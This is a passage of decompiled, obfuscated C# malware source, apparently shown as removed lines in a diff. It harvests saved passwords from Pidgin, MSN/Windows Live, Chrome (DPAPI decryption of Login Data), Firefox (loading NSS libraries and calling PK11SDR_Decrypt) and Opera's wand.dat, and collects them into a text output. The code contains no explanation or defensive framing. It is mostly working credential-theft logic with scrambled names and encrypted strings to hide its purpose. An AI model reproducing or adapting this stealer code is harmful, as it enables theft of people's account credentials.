Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Left, (object) "Application: Pidgin"), (object) "\r\n"), (object) "Protocol: "), (object) elementsByTagName1[i].InnerText), (object) "\r\n"), (object) "Username: "), (object) elementsByTagName2[i].InnerText), (object) "\r\n"), (object) "Password: "), (object) elementsByTagName3[i].InnerText), (object) "\r\n"), (object) "\r\n"); - str1 = Conversions.ToString(Left); - checked { ++i; } - } - str1 = str1; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - return str1; - } - - [DllImport("crypt32", CharSet = CharSet.Auto, SetLastError = true)] - internal static extern bool CryptUnprotectData( - ref yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB dataIn, - int ppszDataDescr, - int optionalEntropy, - int pvReserved, - int pPromptStruct, - int dwFlags, - ref yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB pDataOut); - - [DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CredEnumerate( - string filter, - int flag, - ref int oMhrmhotLlExlwDkbjCerlkhqoalxa, - ref IntPtr puweopTywlscmvSnEiihkDydryxgIJ); - - public static string WmNNdTVNmPtrZOiZQdoXWKKltGiChGXjXVPheBkvBxJabwxHfM() - { - string str = ""; - try - { - int oMhrmhotLlExlwDkbjCerlkhqoalxa = 0; - IntPtr zero = IntPtr.Zero; - if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CredEnumerate("WindowsLive:name=*", 0, ref oMhrmhotLlExlwDkbjCerlkhqoalxa, ref zero)) - { - IntPtr[] numArray = new IntPtr[checked (oMhrmhotLlExlwDkbjCerlkhqoalxa - 1 + 1)]; - IntPtr num1 = zero; - int num2 = checked (oMhrmhotLlExlwDkbjCerlkhqoalxa - 1); - int index = 0; - while (index <= num2) - { - numArray[index] = Marshal.ReadIntPtr((IntPtr) checked (num1.ToInt32() + IntPtr.Size * index)); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CREDENTIAL structure = (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CREDENTIAL) Marshal.PtrToStructure(numArray[index], typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CREDENTIAL)); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB dataIn = new yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB(); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB pDataOut = new yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB(); - dataIn.pbData = structure.lpbCredentialBlob; - dataIn.cbData = (int) structure.dwCredentialBlobSize; - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CryptUnprotectData(ref dataIn, 0, 0, 0, 0, 1, ref pDataOut); - str = str + "Application: MSN\r\nUsername: " + Marshal.PtrToStringAuto(structure.lpUserName) + "\r\nPassword: " + Marshal.PtrToStringAuto(dataIn.pbData) + "\r\n"; - checked { ++index; } - } - str = str; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return str; - } - - public static object KYUDRqqRamPiOlEdEPJbKhRbhdpGVcenLGjlSYrzpVQQPUFMTj() - { - string str1 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data"; - try - { - object Instance1 = (object) new SQLiteHandler(str1); - NewLateBinding.LateCall(Instance1, (System.Type) null, "ReadTable", new object[1] - { - (object) "logins" - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); - if (System.IO.File.Exists(str1)) - { - int integer = Conversions.ToInteger(Microsoft.VisualBasic.CompilerServices.Operators.SubtractObject(NewLateBinding.LateGet(Instance1, (System.Type) null, "GetRowCount", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null), (object) 1)); - int num = 0; - while (num <= integer) - { - object Instance2 = Instance1; - object[] objArray1 = new object[2] - { - (object) num, - (object) "origin_url" - }; - object[] Arguments1 = objArray1; - bool[] flagArray1 = new bool[2]{ true, false }; - bool[] CopyBack1 = flagArray1; - object obj1 = NewLateBinding.LateGet(Instance2, (System.Type) null, "GetValue", Arguments1, (string[]) null, (System.Type[]) null, CopyBack1); - if (flagArray1[0]) - num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray1[0]), typeof (int)); - string str2 = Conversions.ToString(obj1); - object Instance3 = Instance1; - object[] objArray2 = new object[2] - { - (object) num, - (object) "username_value" - }; - object[] Arguments2 = objArray2; - bool[] flagArray2 = new bool[2]{ true, false }; - bool[] CopyBack2 = flagArray2; - object obj2 = NewLateBinding.LateGet(Instance3, (System.Type) null, "GetValue", Arguments2, (string[]) null, (System.Type[]) null, CopyBack2); - if (flagArray2[0]) - num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray2[0]), typeof (int)); - string Left1 = Conversions.ToString(obj2); - Encoding Instance4 = Encoding.Default; - object[] objArray3 = new object[1]; - object[] objArray4 = objArray3; - object Instance5 = Instance1; - object Instance6 = Instance5; - object[] objArray5 = new object[2] - { - (object) num, - null - }; - object[] objArray6 = objArray5; - string str3 = "password_value"; - string str4 = str3; - objArray6[1] = (object) str4; - object[] objArray7 = objArray5; - object[] Arguments3 = objArray7; - bool[] flagArray3 = new bool[2]{ true, false }; - bool[] CopyBack3 = flagArray3; - object obj3 = NewLateBinding.LateGet(Instance6, (System.Type) null, "GetValue", Arguments3, (string[]) null, (System.Type[]) null, CopyBack3); - if (flagArray3[0]) - num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray7[0]), typeof (int)); - object objectValue = RuntimeHelpers.GetObjectValue(obj3); - objArray4[0] = objectValue; - object[] objArray8 = objArray3; - object[] Arguments4 = objArray8; - bool[] flagArray4 = new bool[1]{ true }; - bool[] CopyBack4 = flagArray4; - object Datas = NewLateBinding.LateGet((object) Instance4, (System.Type) null, "GetBytes", Arguments4, (string[]) null, (System.Type[]) null, CopyBack4); - if (flagArray4[0]) - NewLateBinding.LateSetComplex(Instance5, (System.Type) null, "GetValue", new object[3] - { - (object) num, - (object) str3, - RuntimeHelpers.GetObjectValue(objArray8[0]) - }, (string[]) null, (System.Type[]) null, true, false); - string Left2 = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Decrypt((byte[]) Datas); - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left1, "", false) != 0 & Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left2, "", false) != 0) - { - string str5 = "Application: Google Chrome\r\nHost: " + str2 + "\r\nUsername: " + Left1 + "\r\nPassword: " + Left2 + "\r\n"; - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ListBox1.Items.Add((object) str5); - } - checked { ++num; } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - object obj; - return obj; - } - - public static string Decrypt(byte[] Datas) - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB dataIn = new yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB(); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB pDataOut = new yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DATA_BLOB(); - GCHandle gcHandle = GCHandle.Alloc((object) Datas, GCHandleType.Pinned); - dataIn.pbData = gcHandle.AddrOfPinnedObject(); - dataIn.cbData = Datas.Length; - gcHandle.Free(); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CryptUnprotectData(ref dataIn, 0, 0, 0, 0, 0, ref pDataOut); - byte[] numArray = new byte[checked (pDataOut.cbData + 1)]; - Marshal.Copy(pDataOut.pbData, numArray, 0, pDataOut.cbData); - string str = Encoding.Default.GetString(numArray); - return str.Substring(0, checked (str.Length - 1)); - } - - public static void TvDbsYmmzeKXixjs() - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.AText.Location = new Point(10, 10); - string str1 = (string) null; - bool flag = false; - string str2 = Interaction.Environ(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("U" + Conversions.ToString(Strings.Chr(214)) + Conversions.ToString(Strings.Chr(161)) + "p" + Conversions.ToString(Strings.Chr(161)) + "\u0014" + Conversions.ToString(Strings.Chr(149)) + Conversions.ToString(Strings.Chr(228)) + " " + Conversions.ToString(Strings.Chr(252)) + "6F")) + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("Y" + Conversions.ToString(Strings.Chr(201)) + Conversions.ToString(Strings.Chr(129)) + "M" + Conversions.ToString(Strings.Chr(154)) + "9" + Conversions.ToString(Strings.Chr(180)) + Conversions.ToString(Strings.Chr(195)) + "I" + Conversions.ToString(Strings.Chr(246)) + "\u001Ag5" + Conversions.ToString(Strings.Chr(196)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(253)) + "H"); - string[] directories = Directory.GetDirectories(Interaction.Environ(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("D" + Conversions.ToString(Strings.Chr(212)) + Conversions.ToString(Strings.Chr(190)) + "s" + Conversions.ToString(Strings.Chr(178)) + "\u0001" + Conversions.ToString(Strings.Chr(153)))) + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("Y" + Conversions.ToString(Strings.Chr(201)) + Conversions.ToString(Strings.Chr(129)) + "M" + Conversions.ToString(Strings.Chr(154)) + "9" + Conversions.ToString(Strings.Chr(180)) + Conversions.ToString(Strings.Chr(195)) + "5" + Conversions.ToString(Strings.Chr(246)) + "\u001Ag5" + Conversions.ToString(Strings.Chr(196)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(253)) + "H" + Conversions.ToString(Strings.Chr(189)) + ">gwuzoT")); - int index1 = 0; - while (index1 < directories.Length) - { - string str3 = directories[index1]; - if (!flag) - { - string[] files = Directory.GetFiles(str3); - int index2 = 0; - while (index2 < files.Length) - { - string input = files[index2]; - if (!flag) - { - if (Regex.IsMatch(input, yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("v" + Conversions.ToString(Strings.Chr(237)) + Conversions.ToString(Strings.Chr(137)) + "Y" + Conversions.ToString(Strings.Chr(156)) + ";" + Conversions.ToString(Strings.Chr(171)) + Conversions.ToString(Strings.Chr(140)) + "\u001A" + Conversions.ToString(Strings.Chr(193)) + "\u001F|$" + Conversions.ToString(Strings.Chr(199))))) - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.oivGmTktmoB(str3); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.signon = input; - } - checked { ++index2; } - } - else - { - ProjectData.EndApp(); - break; - } - } - checked { ++index1; } - } - else - break; - } - string signon = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.signon; - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem tsecItem = new yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem(); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem result1 = new yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem(); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem result2 = new yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem(); - Base @base = new Base(signon); - DataTable dataTable1 = @base.ExecuteQuery(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(193)) + Conversions.ToString(Strings.Chr(162)) + "r" + Conversions.ToString(Strings.Chr(176)) + "\u0001" + Conversions.ToString(Strings.Chr(248)) + Conversions.ToString(Strings.Chr(136)) + "I" + Conversions.ToString(Strings.Chr(246)) + "!Z\u001D" + Conversions.ToString(Strings.Chr(130)) + Conversions.ToString(Strings.Chr(174)) + Conversions.ToString(Strings.Chr(234)) + "n" + Conversions.ToString(Strings.Chr(178)) + " gvuxy\u001C")); - DataTable dataTable2 = @base.ExecuteQuery(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(193)) + Conversions.ToString(Strings.Chr(162)) + "r" + Conversions.ToString(Strings.Chr(176)) + "\u0001" + Conversions.ToString(Strings.Chr(248)) + Conversions.ToString(Strings.Chr(136)) + "I" + Conversions.ToString(Strings.Chr(246)) + "!Z\u001D" + Conversions.ToString(Strings.Chr(130)) + Conversions.ToString(Strings.Chr(174)) + Conversions.ToString(Strings.Chr(234)) + "n" + Conversions.ToString(Strings.Chr(178)) + "(ab}tfBa " + Conversions.ToString(Strings.Chr(228)) + Conversions.ToString(Strings.Chr(188)) + Conversions.ToString(Strings.Chr(141)) + Conversions.ToString(Strings.Chr(161)) + "\n")); - try - { - foreach (DataRow row in dataTable2.Rows) - str1 = str1 + Environment.NewLine + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("m" + Conversions.ToString(Strings.Chr(235)) + Conversions.ToString(Strings.Chr(157)) + "C" + Conversions.ToString(Strings.Chr(157)) + "4" + Conversions.ToString(Strings.Chr(181)) + Conversions.ToString(Strings.Chr(199))).ToString(); - } - finally - { - System.Collections.IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.OMhwbbbdVrvk(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.bvryeuuo(), true, 0L); - try - { - foreach (DataRow row in dataTable1.Rows) - { - string str4 = str1 + Environment.NewLine + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("D" + Conversions.ToString(Strings.Chr(244)) + Conversions.ToString(Strings.Chr(158)) + "[" + Conversions.ToString(Strings.Chr(154)) + "6" + Conversions.ToString(Strings.Chr(185)) + Conversions.ToString(Strings.Chr(214)) + "\0" + Conversions.ToString(Strings.Chr(223)) + "\u001D/p" + Conversions.ToString(Strings.Chr(228)) + Conversions.ToString(Strings.Chr(170)) + Conversions.ToString(Strings.Chr(247)) + "q" + Conversions.ToString(Strings.Chr(171)) + "#p"); - string str5 = Convert.ToString(row[yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("c" + Conversions.ToString(Strings.Chr(235)) + Conversions.ToString(Strings.Chr(156)) + "Z" + Conversions.ToString(Strings.Chr(160)) + " " + Conversions.ToString(Strings.Chr(186)) + Conversions.ToString(Strings.Chr(207)) + "\0" + Conversions.ToString(Strings.Chr(196)) + "&G\u001C")].ToString()); - str1 = str4 + Environment.NewLine + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(225)) + Conversions.ToString(Strings.Chr(135)) + "C" + Conversions.ToString(Strings.Chr(150)) + "o" + Conversions.ToString(Strings.Chr(248))) + str5; - StringBuilder inStr1 = new StringBuilder(row[yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("`" + Conversions.ToString(Strings.Chr(234)) + Conversions.ToString(Strings.Chr(141)) + "E" + Conversions.ToString(Strings.Chr(138)) + "%" + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(199)) + "\r" + Conversions.ToString(Strings.Chr(229)) + "\0p\"" + Conversions.ToString(Strings.Chr(204)) + Conversions.ToString(Strings.Chr(162)) + Conversions.ToString(Strings.Chr(232)) + "q")].ToString()); - IntPtr num = new IntPtr(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, inStr1, inStr1.Length)); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem structure1 = (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem) Marshal.PtrToStructure(num, typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem)); - if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CqSzxpvjJWBHufugp(ref structure1, ref result1, 0) == 0 && result1.SECItemLen != 0) - { - byte[] numArray = new byte[checked (result1.SECItemLen - 1 + 1)]; - num = new IntPtr(result1.SECItemData); - Marshal.Copy(num, numArray, 0, result1.SECItemLen); - str1 = str1 + Environment.NewLine + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("P" + Conversions.ToString(Strings.Chr(247)) + Conversions.ToString(Strings.Chr(139)) + "E" + Conversions.ToString(Strings.Chr(157)) + "4" + Conversions.ToString(Strings.Chr(181)) + Conversions.ToString(Strings.Chr(199)) + "S" + Conversions.ToString(Strings.Chr(144))) + Encoding.ASCII.GetString(numArray); - } - StringBuilder inStr2 = new StringBuilder(row[yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("`" + Conversions.ToString(Strings.Chr(234)) + Conversions.ToString(Strings.Chr(141)) + "E" + Conversions.ToString(Strings.Chr(138)) + "%" + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(199)) + "\r" + Conversions.ToString(Strings.Chr(224)) + "\u0012f#" + Conversions.ToString(Strings.Chr(213)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(247)) + "p")].ToString()); - num = new IntPtr(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, inStr2, inStr2.Length)); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem structure2 = (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem) Marshal.PtrToStructure(num, typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem)); - if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CqSzxpvjJWBHufugp(ref structure2, ref result2, 0) == 0 && result2.SECItemLen != 0) - { - byte[] numArray = new byte[checked (result2.SECItemLen - 1 + 1)]; - num = new IntPtr(result2.SECItemData); - Marshal.Copy(num, numArray, 0, result2.SECItemLen); - str1 = str1 + Environment.NewLine + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("U" + Conversions.ToString(Strings.Chr(229)) + Conversions.ToString(Strings.Chr(157)) + "D" + Conversions.ToString(Strings.Chr(132)) + ":" + Conversions.ToString(Strings.Chr(170)) + Conversions.ToString(Strings.Chr(214)) + "S" + Conversions.ToString(Strings.Chr(144))) + Encoding.ASCII.GetString(numArray) + Environment.NewLine; - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.AText.Text = str1; - } - } - } - finally - { - System.Collections.IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - } - - [DllImport("kernel32.dll")] - private static extern IntPtr LoadLibrary(string dllFilePath); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - - public static long oivGmTktmoB(string configdir) - { - string str = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\"; - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "mozcrt19.dll"); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "nspr4.dll"); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "plc4.dll"); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "plds4.dll"); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "ssutil3.dll"); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "mozsqlite3.dll"); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "nssutil3.dll"); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "softokn3.dll"); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.NSS3 = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "nss3.dll"); - return ((yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate) Marshal.GetDelegateForFunctionPointer(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetProcAddress(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.NSS3, "NSS_Init"), typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate)))(configdir); - } - - public static long bvryeuuo() => ((yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate2) Marshal.GetDelegateForFunctionPointer(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetProcAddress(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.NSS3, "PK11_GetInternalKeySlot"), typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate2)))(); - - public static long OMhwbbbdVrvk(long slot, bool loadCerts, long wincx) => ((yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate3) Marshal.GetDelegateForFunctionPointer(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetProcAddress(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.NSS3, "PK11_Authenticate"), typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate3)))(slot, loadCerts, wincx); - - public static int xSGTjizteYUcgxxr( - IntPtr arenaOpt, - IntPtr outItemOpt, - StringBuilder inStr, - int inLen) - { - return ((yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate4) Marshal.GetDelegateForFunctionPointer(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetProcAddress(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.NSS3, "NSSBase64_DecodeBuffer"), typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate4)))(arenaOpt, outItemOpt, inStr, inLen); - } - - public static int CqSzxpvjJWBHufugp( - ref yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem data, - ref yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem result, - int cx) - { - return ((yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate5) Marshal.GetDelegateForFunctionPointer(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetProcAddress(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.NSS3, "PK11SDR_Decrypt"), typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate5)))(ref data, ref result, cx); - } - - public static string GetOperaa() - { - List stringList = new List(); - string[] strArray1 = (string[]) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DecryptInfo(); - StringBuilder stringBuilder = new StringBuilder(); - string[] strArray2 = strArray1; - int index1 = 0; - while (index1 < strArray2.Length) - { - string Left = strArray2[index1]; - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left, "", false) != 0) - stringList.Add(Left); - checked { ++index1; } - } - if (stringList.Count == 0) - return " \r\n"; - string operaa; - try - { - int num = checked (stringList.Count - 1); - int index2 = 0; - while (index2 <= num) - { - stringBuilder.Append("Application: Opera\r\n"); - stringBuilder.Append("Host: " + stringList[index2].Substring(0) + "\r\n"); - stringBuilder.Append("User Name: " + stringList[checked (index2 + 1)].Substring(1) + "\r\n"); - stringBuilder.Append("Password: " + stringList[checked (index2 + 2)].Substring(1) + "\r\n"); - stringList[index2].Substring(1); - stringList[checked (index2 + 1)].Substring(1); - stringList[checked (index2 + 2)].Substring(1); - checked { index2 += 3; } - } - operaa = stringBuilder.ToString(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return operaa; - } - - public static object DecryptInfo() - { - if (System.IO.File.Exists(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.path + "\\Opera\\Opera\\wand.dat")) - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.path += "\\Opera\\Opera\\wand.dat"; - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.version2(); - } - else if (System.IO.File.Exists(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.path + "\\Opera\\Opera\\profile\\wand.dat")) - { - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.path += "\\Opera\\Opera\\profile\\wand.dat"; - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.version2(); - } - return (object) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoginData; - } - - private static void version2() - { - try - { - byte[] sourceArray = System.IO.File.ReadAllBytes(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.path); - int num1 = checked (sourceArray.Length - 5); - int index1 = 0; - while (index1 <= num1) - { - if (sourceArray[index1] == (byte) 0 && sourceArray[checked (index1 + 1)] == (byte) 0 && sourceArray[checked (index1 + 2)] == (byte) 0 && sourceArray[checked (index1 + 3)] == (byte) 8) - { - int num2 = (int) sourceArray[checked (index1 + 15)]; - byte[] numArray1 = new byte[8]; - byte[] numArray2 = new byte[checked (num2 - 1 + 1)]; - Array.Copy((Array) sourceArray, checked (index1 + 4), (Array) numArray1, 0, numArray1.Length); - Array.Copy((Array) sourceArray, checked (index1 + 16), (Array) numArray2, 0, numArray2.Length); - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DOutput = Conversions.ToString(Microsoft.VisualBasic.CompilerServices.Operators.AddObject((object) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DOutput, 